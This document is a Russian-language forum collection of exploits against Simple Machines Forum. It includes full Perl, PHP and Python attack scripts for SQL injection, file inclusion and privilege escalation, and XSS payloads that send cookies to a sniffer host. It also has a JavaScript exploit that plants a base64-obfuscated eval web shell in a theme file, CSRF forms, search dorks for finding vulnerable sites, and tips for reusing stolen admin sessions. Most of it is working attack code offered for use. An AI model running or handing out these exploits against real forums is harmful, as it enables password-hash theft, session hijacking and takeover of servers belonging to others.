[SMF 1.0 Beta 5 Public] XSS Удаленный пользователь может выполнить XSS нападение. SMF не фильтрует данные, представленные пользователем в тэге '[size]'. Пример: Code: size=expression(eval(unescape(document.URL. substring(document.URL.length-41,document.URL. length))))]Big Exploit[/size] [SMF 1.0.4] SQL Injection Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре 'msg'. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные SQL команды в базе данных приложения. Пример: Code: http://[target]/index.php?action=post;msg= 1%20UNION%20SELECT%20memberName, 0,passwd,0,0%20FROM%20smf_members %20WHERE%201/*;topic=8.0; sesc=[VALIDSESCIDHERE] Эксплоит: PHP: #!/usr/bin/perl -w ################################################################################ # SMF Modify SQL Injection // All Versions // By James http://www.gulftech.org # ################################################################################ # Simple proof of concept for the modify post SQL Injection issue I discovered # # in Simple Machine Forums. Supply this script with your username password and # # the complete url to a post you made, and have permission to edit. 06/19/2005 # ################################################################################ use LWP::UserAgent; if ( !$ARGV[3] ) { print "Usage: smf.pl user pass target_uid modify_url\n"; exit; } print "###################################################\n"; print "# Simple Machine Forums Modify Post SQL Injection #\n"; print "###################################################\n"; my $user = $ARGV[0]; # your username my $pass = $ARGV[1]; # your password my $grab = $ARGV[2]; # the id of the target account my $post = $ARGV[3]; # the entire url to modify a post you made my $dump = '%20UNION%20SELECT%20memberName,0,passwd,0,0%20FROM%20smf_members%20WHERE%20ID_MEMBER=' . $grab . '/*'; $post =~ s/msg=([0-9]{1,10})/msg=$1$dump/; my $path = ( $post =~ /^(.*)\/index\.php/) ? $1: die("[!] The post url you entered seems invalid!\n"); my $ua = new LWP::UserAgent; $ua->agent("SMF Hash Grabber v1.0" . $ua->agent); $ua->cookie_jar({}); print "[*] Trying $path ...\n"; my $req = new HTTP::Request POST => $path . "/index.php?action=login2"; $req->content_type('application/x-www-form-urlencoded'); $req->content('user=' . $user . '&passwrd=' . $pass . '&cookielength=-1'); my $res = $ua->request($req); print "[*] Logging In ...\n"; # When a correct login is made, a redirect is issued, and no # text/html is sent to the browser really. We put 1024 to be # safe. This part can be altered in case of modded installs! if ( length($res->content) < 1024 ) { print "[+] Successfully logged in as $user \n"; my $sid = $ua->get($path . '/index.php?action=profile;sa=account'); # We get our current session id to be used print "[*] Trying To Get Valid Sesc ID \n"; if ( $sid->content =~ /sesc=([a-f0-9]{32})/ ) { # Replace the old session parameter with the # new one so we do not get an access denied! my $sesc = $1; $post =~ s/sesc=([a-f0-9]{32})/sesc=$sesc/; print "[+] Valid Sesc Id : $sesc\n"; print "[*] Trying to get password hash ...\n"; my $pwn = $ua->get($post); if ( $pwn->content =~ />([a-z0-9]{32})<\//i ) { print "[+] Got the password hash!\n"; print "[+] Password Hash : $1\n"; } else { print "[!] Exploit Failed! Try manually verifying the vulnerability \n"; } } else { print '[!] Unable to obtain a valid sesc key!!'; exit; } } else { print '[!] There seemed to be a problem logging you in!'; exit; } [SMF 1.0.5] XSS XSS уязвимость через BB коды. Пример: Code: [size=0pt][sub][^color=#e1e1e1]g[img]http://re [flash=200,200]http://w onerror=img=new/**/Image();a=String.fromCharCode(?,?,$);img.src=a+document.cookie;this.style.display='none' and end[/flash][/img][/color][/sub][/size] [SMF 1.0.6] XSS Уязвимость существует из-за недостаточной обработки входных данных в поле "X-Forwarded-For" HTTP заголовка. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта при просмотре злонамеренных данных с помощью "View all members". [SMF 1.1 RC2] Lock Topics Remote Exploit: PHP: #!/usr/bin/php -q -d short_open_tag=on <? print_r(' -------------------------------------------------------------------------------- Simple Machines Forum <= 1.1.RC2 "lock"/Zend_Hash_Del_Key_Or_Index Vulnerability by rgod [email protected] site: http://retrogod.altervista.org dork, version specific: "Powered by SMF" -------------------------------------------------------------------------------- '); if ($argc<6) { print_r(' -------------------------------------------------------------------------------- Usage: php ".$argv[0]." host path user pass topic OPTIONS host: target server (ip/hostname) path: path to SMF user/pass: u need a valid user account lock: topic u want to lock Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy Examples: php ".$argv[0]." localhost /smf/ user pass 4 php ".$argv[0]." localhost /smf/ user pass 3 -p81 php ".$argv[0]." localhost / user pass 7 -P1.1.1.1:80 -------------------------------------------------------------------------------- '); die; } error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "\r\n".$html; } function my_encode($my_string) { $encoded=""; for ($k=0; $k<=strlen($my_string)-1; $k++) { $encoded.="chr(".ord($my_string[$k]); if ($k==strlen($my_string)-1) {$encoded.=")";} else {$encoded.=").";} } return $encoded; } function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } $host=$argv[1]; $path=$argv[2]; $user=$argv[3]; $pass=$argv[4]; $topic=(int)$argv[5]; $port=80; $proxy=""; for ($i=3; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $data="user=".urlencode($user); $data.="&passwrd=".urlencode($pass); $data.="&cookielength=-1"; $data.="&hash_passwrd="; $data.="&submit=Login"; $packet ="POST ".$p."index.php?action=login2 HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Accept-Language: en\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); $temp=explode("Set-Cookie: ",$html); $cookie=""; for ($i=1; $i<count($temp); $i++) { $temp2=explode(" ",$temp[$i]); $cookie.=" ".$temp2[0]; } echo "cookie -> ".$cookie."\r\n"; $temp=explode("PHPSESSID=",$cookie); $temp2=explode(";",$temp[1]); $sessid=$temp2[0]; echo "sessid -> ".$sessid."\r\n"; $temp=explode(";member=",$html); $temp2=explode("\n",$temp[1]); $uid=(int)$temp2[0]; echo "user id -> ".$uid."\r\n"; $packet="GET ".$p."index.php?action=post;topic=$topic.0;num_replies=1 HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); $temp=explode('name="sc" value="',$html); $temp2=explode("\"",$temp[1]); $sc=$temp2[0]; echo "sc code -> ".$sc."\r\n"; $temp=explode('"num_replies" value="',$html); $temp2=explode("\"",$temp[1]); $replies=$temp2[0]; echo "num replies -> ".$replies."\r\n"; $hash_1="173250926"; $hash_2="266332046"; $data='-----------------------------7d61bcd1f033e Content-Disposition: form-data; name="topic" '.$topic.' -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="subject" I totally disagree, locked. -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="icon" xx -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="message" I totally disagree, locked. -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="notify" 0 -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="lock" 1 -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="'.$hash_1.'" 1 -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="'.$hash_2.'" 1 -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="sticky" 0 -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="move" 0 -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="attachment[]"; filename="" Content-Type: application/octet-stream -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="post" Post -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="num_replies" '.$replies.' -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="additional_options" 1 -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="sc" '.$sc.' -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="seqnum" 0 -----------------------------7d61bcd1f033e-- '; $packet="POST ".$p."index.php?action=post2;start=3;board=".$board." HTTP/1.0\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; $packet.="X-FORWARDED-FOR: 1.1.1.1\r\n"; $packet.="Referer: http://".$host.$path."index.php?action=post;topic=1.0;num_replies=0\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Cookie: ".$cookie."\r\n\r\n"; $packet.=$data; sendpacketii($packet); $packet= "GET ".$p."index.php?action=post;topic=$topic.0;num_replies=1 HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="X-FORWARDED-FOR: 1.1.1.1\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (strstr($html,"This topic is locked")) {echo "Exploit succeeded...";} else {echo "Exploit failed...";} ?> (lngfile) Remote Exploit: PHP: #!/usr/bin/php -q -d short_open_tag=on <? print_r(' -------------------------------------------------------------------------------- Simple Machines Forum <= 1.1 rc2 "lngfile" Zend_Hash_Del_Key_Or_Index/arbitrary local inclusion exploit (Win boxes) by rgod [email protected] site: http://retrogod.altervista.org dork: "Powered by SMF" -------------------------------------------------------------------------------- '); /* works against Win boxes regardless of php.ini settings against PHP < 4.3.3, PHP 5 < 5.1.4 */ if ($argc<5) { print_r(' -------------------------------------------------------------------------------- Usage: php '.$argv[0].' host path mail include OPTIONS host: target server (ip/hostname) path: path to SMF mail: your email, required for activation include: path to file you want to include Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy Examples: php '.$argv[0].' localhost /smf/ [email protected] ../../../../../boot.ini php '.$argv[0].' localhost /smf/ [email protected] ../../../../../boot.ini -p81 php '.$argv[0].' localhost / [email protected] ../../../../../boot.ini -P1.1.1.1:80 -------------------------------------------------------------------------------- '); die; } error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "\r\n".$html; } function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } $host=$argv[1]; $path=$argv[2]; $email=$argv[3]; $include=$argv[4]; $port=80; $proxy=""; for ($i=3; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} srand(make_seed()); $anumber = rand(1,9999999); $user="sun-tzu".$anumber; $pass="sun-tzu".$anumber; $packet ="GET ".$p."index.php?action=register HTTP/1.0\r\n"; $packet.="X-FORWARDED-FOR: 1.1.1.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); $temp=explode("Set-Cookie: ",$html); $cookie=""; for ($i=1; $i<count($temp); $i++) { $temp2=explode(" ",$temp[$i]); $cookie.=" ".$temp2[0]; } $temp=explode("PHPSESSID=",$cookie); $temp2=explode(";",$temp[1]); $sessid=$temp2[0]; $data="user=".$user; $data.="&email=".$email; $data.="&hideEmail=1"; $data.="&passwrd1=".$pass; $data.="&passwrd2=".$pass; $data.="®agree=on"; $data.="&lngfile=%2f".$include."%00"; $data.="&1412642694=1"; $data.="&850639942=1"; $data.="®Submit=Register"; $packet ="POST ".$p."index.php?action=register2 HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Accept-Language: en\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="Referer: http://".$host.$path."index.php?PHPSESSID=$sessid\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Cookie: $cookie\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); print_r(" now login with user: ".$user." pass: ".$pass." and you will see ".basename($include)." file at screen... "); ?> [SMF 1.1 RC3] SQL Injection Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре "cur_cat" в сценарии Sources/ManageBoards.php во время добавления нового форума. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. [SMF 1.1.2] XSS Обнаруженные уязвимости позволяют удаленному пользователю обойти ограничения безопасности и скомпрометировать целевую систему. 1. Уязвимость существует из-за недостаточной обработки входных данных во время создания или редактирования сообщения форума. Удаленный пользователь может внедрить в сообщение произвольный PHP сценарий и выполнить его на системе с привилегиями Web сервера. 2. Уязвимость существует из-за недостаточного механизма выбора случайных файлов в механизме звуковой CAPTCHA. Удаленный пользователь может произвести брут-форс атаку.
[SMF 1.1.2] XSS Отсутствует фильтрация atachment filename Способы эксплуатации: 1. Получение cookie Создаем сообщение и прикрепляем к нему файл со следующим имененем: Code: attachfilename<img src=. width=1 height=1 onerror=javascript:new Image().src='http://sniffsite.com/s.gif?'+document.cookie>.txt (в адресе sniffer'a все / заменяем на /) Получаем cookie 2. Получение web shell'a Создаем сообщение и прикрепляем к нему файл со следующим имененем: Code: name<img src=. width=1 height=1 onerror=javascript:var s=document.createElement('script');s.src='http: //site.com/smfexp.js';document.documentElement.firstChild. appendChild(s);>.txt (все / в атрибуте src заменяем на /) Это код простейшего динамического загрузчика скриптов http://site.com/smfexp.js - адрес загружаемого скрипта smfexp.js изменяет шаблон default темы: вставляет в /smf/Themes/default/index.php shell smfexp.js: PHP: /* SMF Active XSS Exploit by Cenarius Email: [email protected] | Icq: 100732 Adds shell to index.php of default forum's template */ var shellCode = "<?php\n\n"; shellCode += "// Try to handle it with the upper level index.php. (it should know what to do.)\n"; shellCode += "eval(base64_decode('ZWNobyAnPHByZT4nOyBAZXZhbCgkX1 BPU1RbJ2NkJ10pOyBlY2hvICc8L3ByZT4nOw=='));\n"; // @eval($_POST['cd']); shellCode += "if (file_exists(dirname(dirname(__FILE__)) . '/index.php'))\n"; shellCode += " include (dirname(dirname(__FILE__)) . '/index.php');\n"; shellCode += "else\n"; shellCode += " exit;\n\n?>"; sendRequest("index.php", null, "GET", getSesc); function getSesc(request) { var sessVerify = request.responseText.match(/sesc=([a-z0-9]{32})/); if(sessVerify) { sendRequest( "index.php?action=theme;th=1;sa=edit", "entire_file=" + escape(shellCode ) + "&submit=Save+Changes&filename=index.php&sc=" + sessVerify[1], "POST", null); } } function sendRequest(url, data, method, onLoadFunc) { var request = createHttpRequest(); if(request) { request.open(method, url, true); if(method == "POST") { request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); } if(onLoadFunc) { request.onreadystatechange = function() { if(request.readyState == 4) { onLoadFunc(request); } } } request.send(data); } } function createHttpRequest() { var httpRequest = false; try { httpRequest = new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) { try { httpRequest = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { try { httpRequest = new XMLHttpRequest(); } catch(e) { httpRequest = false; } } } return httpRequest; } // EOF По адресу http://vulnsite.com/smf/Themes/default/index.php получаем web shell index.php будет содержать следующий код: Code: @eval($_POST['cd']); Также можно объединить 2 приведенных выше способа, прикрепив 2 файла, или добавив в smfexp.js: Code: new Image().src='http://sniffsite.com/s.gif?'+document.cookie;
Simple Machines Forum 1.1.3 Remote Blind SQL Injection Exploit #SMF 1.1.3 Extremely fast Blind SQL Injection Exploit! # -Binary Search # -Multi-Threaded # -NO benchmark()'s # #Two SQL Injection flaws. #Works with magic_quotes_gpc=On or Off. #Total Bypass of SMF's SQL Injection filter. Active-XSS in SMF <= 1.1.3 Faq по Smf (Заливка шелла)
[ IP-Spoofing (c) antichat.ru ] Поддержка X_FORWARDER_FOR позволяет обходить бан, использовать краденную через XSS сессию админа в обход привязки по айпи. Оперативно изменять Ip в X_FORWARDER_FOR вам помогут Proxomitron 4.*(http://www.proxomitron.domtech.ru/index.htm) либо Odysseus 2.*(http://www.wastelands.gen.nz/odysseus/index.php) [ DEBUG (c) antichat.ru ] Раскрытие информации о сервере. Достаточно указать в урл debug=1 : http://smf.com/index.php?debug=1 Passive XSS in SMF 1.1.4 Site.com/component/option,com_smf/Itemid,8'XSS,1/topic,1.0/ Site.com/component/option,com_smf/Itemid,5/topic,1.XSS/ phpRaid <= 3.0.b3 (phpBB/SMF) Remote File Inclusion Vulnerabilities SMF Forum Mambo Component <= 1.3.1.3 Include Vulnerability eFiction <= 3.1.1 (path_to_smf) Remote File Include Vulnerabilities
SMF 1.1.4 - Add User In Group [CSRF] SMF 1.1.4 - Add User In Group [CSRF] Code: || *************** || || Author: phAnt0mh4ck3r || || ************************* || || SMF 1.1.4 - Add User In Group [CSRF] || || r00tsecurity.org |b4lc4n-h4ck.org |cyber-underground.org |h4cky0u.org || || ________________________________________________________________ || |_________________________________________________________________________| Dork: "SMF 1.1.4" Dork (SID): inurl:index.php inurl:sid= "SMF 1.1.4" Code: </html> </head> <body> <form action="http://adress.com/path/index.php?action=membergroups;sa=members;group=GroupID" method="post" <input type="text" name="toAdd" id="toAdd" size="30" /> <input type="submit" name="add" value="Add Members" /> <input type="hidden" name="sc" value="ADMIN SESSION ID" /> </form> </body> </html> Or you can use it: Code: forum/path/index.php?action=membergroups;sa=members;group=groupid;toAdd=usertoadd&add=Add+Members&sc=sid
passive XSS passive XSS in SMF mod Shoutbox Simple Machines Forum "SMF Shoutbox" Mod 1.16b-1.14 Reference: http://custom.simplemachines.org/mods/index.php?mod=412 Bugersistent XSS SMF Shoutbox is a popular shoutbox mod for Simple Machines Forum.The content of a post variable used to hold the user shout is stored in the database and then displayed to the visitors without being properly filtered.So we can insert HTML or Javascript code in the database which is then displayed in the shoutbox (which is usually at the index page of the forum). Note:the content of this variable is also stored in an html file (sbox.history.html)residing in the main folder where SMF is installed so it is possible to insert and then execute php code under some server configurations. Vulnerable versions: 1.16b down to 1.14 Search Engines query: "powered by smf 1.1" "SMF Shoutbox" Vuln code -In sboxDB.php function missinghtmlentities() fails to sanitize input passed to the shoutbox form Exploit All we have to do is pass to the shoutbox form a string starting with '&#' and ending with ';' Most sites configuration doesnt enable guest visitors to post comments so you should create an account and login in order to exploit.SMF Shoutbox is usually in the index page of the forum so you could easily exploit this issue to collect Admins and user cookies,hijack sessions,etc Pass this string to the shoutbox &#<script>alert(String.fromCharCode(88,83,83))</script>; If successful every visitor of the page should see an alert saying 'XSS' Note: We can inject php code but the output file (sbox.history.html)has an .html extension so in order for the code to execute the server must be configured to parse .html files for php code which is not the default configuration.
5 Способов залить шелл. https://forum.antichat.ru/thread43633.html Кстати способ с редактированием шаблонов по сути является и универсальной читалкой файлов из админки. Льем левую тему, можно даже без файлов. Ставим ей путь "/" и юзаем до посинения читалку прибавляя не index.template.php как в вышесказанной теме, а все что угодно (/etc/passwd, /home/admin/public_html/config.php к примеру) Там стоит фильтр только на ../ в самой переменной, но он нам и не нужен.
SMForum audio Captcha Breaking Deciphering the Simple Machines Forum audio Captcha http://securityvulns.ru/Tdocument705.html Вкратце и по сути. Найден новый способ обхода капча кода в SMF. Автор существенно усовершенствовал алгоритм Шанкара, и обошел пропатченную капчу. Фишка в недостаточной рандомизации звука каждой буквы. Из искомого файла выделяются отдельные буквы, затем сравниваются с эталоном. Также автор поломал капчу в PHP-Nuke ( уязвимость в недостаточной длинне парольной строки и рандомной генерации хеша) используя радужную таблицу хешей на 1 миллион комбинаций. От себя добавлю, что используя описанный алгоритм, открываются новые возможности по обходу капчи и во многих других продуктах и сервисах, заботящихся об ущербных пользователях использующих аудио-подтверждение как тест тьюринга.
Simple Machines Forum <= 1.1.4 Sql Injection Vulnerability Simple Machines Forum <= 1.1.4 Sql Injection Vulnerability Уязвимость заключается в обходе слеширования addslashes() , используя мультибайтный символ "%a3%27" в кодировке "big5" HTML: #!/usr/bin/python """ #=================================================================================================# # ____ __________ __ ____ __ # # /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ # # | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ # # | | | \ | |/ \ \___| | /_____/ | || | # # |___|___| /\__| /______ /\___ >__| |___||__| # # \/\______| \/ \/ # #=================================================================================================# # This was a priv8 Exploit # #=================================================================================================# # Simple Machines Forum <= 1.1.4 # # Sql Injection Vulnerability # # Priviledge Escalation Exploit # #====================================#===========#====================================#===========# # Server Configuration Requirements # # Some Information # # #====================================# #====================================# # # # # # register_globals = 1 # Vendor: www.simplemachines.org # # # Author: The:Paradox # #================================================# Severity: N/A # # # # # You may find exploits updates and more # # # explanations on => # Proud To Be Italian. # # http://paradox.altervista.org # # # # # #====================================#===========#================================================# # Board Description # # #====================================# # # # # Simple Machines Forum - SMF in short - is a free, professional grade software package that # # allows you to set up your own online community within minutes. # # Its powerful custom made template engine puts you in full control of the lay-out of your # # message board and with our unique SSI - or Server Side Includes - function you can let your # # forum and your website interact with each other. # # SMF is written in the popular language PHP and uses a MySQL database. It is designed to provide # # you with all the features you need from a bulletin board while having an absolute minimal # # impact on the resources of the server. # # SMF is the next generation of forum software - and best of all it is and will always # # remain completely free! # # # #====================================#============================================================# # Proof Of Concept / Bug Explanation # # #====================================# # # This is a quite old exploit and it is inapplicable on 1.1.5 version and on last 2.0 pre-release # # (that's why I decided to public it). First, let's have a little poc. # #=================================================================================================# [Load.php] 148. if (isset($db_character_set) && preg_match('~^\w+$~', $db_character_set) === 1) 149. db_query(" 150. SET NAMES $db_character_set", __FILE__, __LINE__); #=================================================================================================# # In Load.php if $db_character_set is set Smf will execute a Set Names Sql Query. # # Directly from dev.mysql.com let's see what it means. # # # # "SET NAMES indicates what character set the client will use to send SQL statements to the # # the server. Thus, SET NAMES 'cp1251' tells the server future incoming messages from this client # # are in character set cp1251." # # # # Ok, now let's see what $db_character_set is. # # $db_character_set is a "Settings.php variable" written only if a "Non-Default tick" # # is checked during the installation process. # # The real vulnerability is when the "Non-Default tick" is left unchecked, Smf doesn't write # # it in "Settings.php" and no value is assigned to it: it's possible to set it # # via register_globals. # # # # Now the cool poc section =D # # Surely you saw that preg_match avoids any injection of non-alphanumerical chars in the query # # at line 150 in Load.php # # So, how is possible to take advantage of that? # # To understand this vulnerability you have to comprehend some character set presents multibyte # # characters and they may obiate addslashes() function. # # Addslashes simply adds a backslash (0x5c) before single quote ('), double quote ("), # # backslash (\) and NUL (the NULL byte), without checking if the added blackslash creates # # another char. # # No, i'm not going mad :P Here is an example: # # # # Bytes in Input # # 0xa327 # # # # Addslashes(Bytes in Input) # # 0xa35c27 # # # # In big5, but also in other multibyte charsets, 0xa35c is a valid char: 0x27 (') is left alone. # # Therefore a lot of smf's queries are vulnerable if $db_character_set is settable. # # In this exploit i will inject sql code in Update syntax, increasing user's privledges. # #=================================================================================================# # Exploit tested on 1.1.3 and 1.1.4 Smf's versions. # #=================================================================================================# # Use this exploit at your own risk. You are responsible for your own deeds. # #=================================================================================================# # Python Exploit Starts # #=================================================================================================# """ from sys import argv, exit from httplib import HTTPConnection from urllib import urlencode, unquote from time import sleep print """ #=================================================================# # Simple Machines Forum <= 1.1.4 # # Sql Injection Vulnerability # # Priviledge Escalation Exploit # # # # ###################################### # # # Let's get administrator rights!!! # # # ###################################### # # # # Discovered By The:Paradox # # # # Usage: # # ./Exploit [Target] [Path] [PHPSessID] [Userid] # # # # Example: # # ./Exploit 127.0.0.1 /SMF/ a574bfe34d95074dea69c00e38851722 9 # # ./Exploit www.host.com / 11efb3b6031bc79a8dd7526750c42119 36 # #=================================================================# """ if len(argv)<=4: exit() sn = "PHPSESSID" # Session cookie name. You may have to change this. port = 80 target = argv[1] path = argv[2] sv = argv[3] uid = argv[4] class killsmf: def __init__(self): print "[.] Exploit Starts." self.GetSesc() self.CreateLabels() self.Inject() print "[+] All done.\n Now user with ID_MEMBER " + uid + " should have administrator rights. \n -= Paradox Got This One =-" def GetSesc(self): print "[+] Trying to read Sesc" for i in range (0,2): conn = HTTPConnection(target,port) conn.request("GET", path + "index.php?action=pm;sa=manlabels;", {}, {"Accept": "text/plain","Cookie": sn + "=" + sv + ";"}) rsp = conn.getresponse() r = rsp.read() if rsp.status == 404: exit ("[-] Error 404. Not Found") elif r.find('<input type="hidden" name="sc" value="') != -1 and r.find('" />') != -1 : self.sesc = r.split('<input type="hidden" name="sc" value="')[1].split('" />')[0] if len(self.sesc) != 32: exit ("[-] Invalid Sesc") print "[+] Sesc has been successfully read ==> "+self.sesc else: exit ("[-] Unable to find Sesc") def CreateLabels(self): print "[+] Creating three labels..." for i in range (0,3): conn = HTTPConnection(target,port) conn.request("POST", path + "index.php?action=pm;sa=manlabels;sesc="+self.sesc, urlencode({"label" : i, "add" : "Add+New+Label"}), {"Accept": "text/plain","Content-type": "application/x-www-form-urlencoded","Referer": "http://" + target + path + "/index.php?action=pm;sa=manlabels", "Cookie": sn + "=" + sv + ";"}) sleep(0.35) def Inject(self): print "[+] Sql code is going to be injected." conn = HTTPConnection(target,port) conn.request("POST", path + "index.php?debug;action=pm;sa=manlabels;sesc="+self.sesc, urlencode({"label_name[0]" : "o rly" + unquote("%a3%27"),"label_name[1]" : "ID_GROUP=1 WHERE/*", "label_name[2]" : "*/ID_MEMBER=" + uid + "/*", "save" : "Save", "sc" : self.sesc, "db_character_set": "big5"}), {"Accept": "text/plain","Content-type": "application/x-www-form-urlencoded","Referer": "http://" + target + path + "/index.php?action=pm;sa=manlabels", "Cookie": sn + "=" + sv + ";"}) killsmf() # milw0rm.com [2008-06-15] milw0rm.com [2008-06-15]
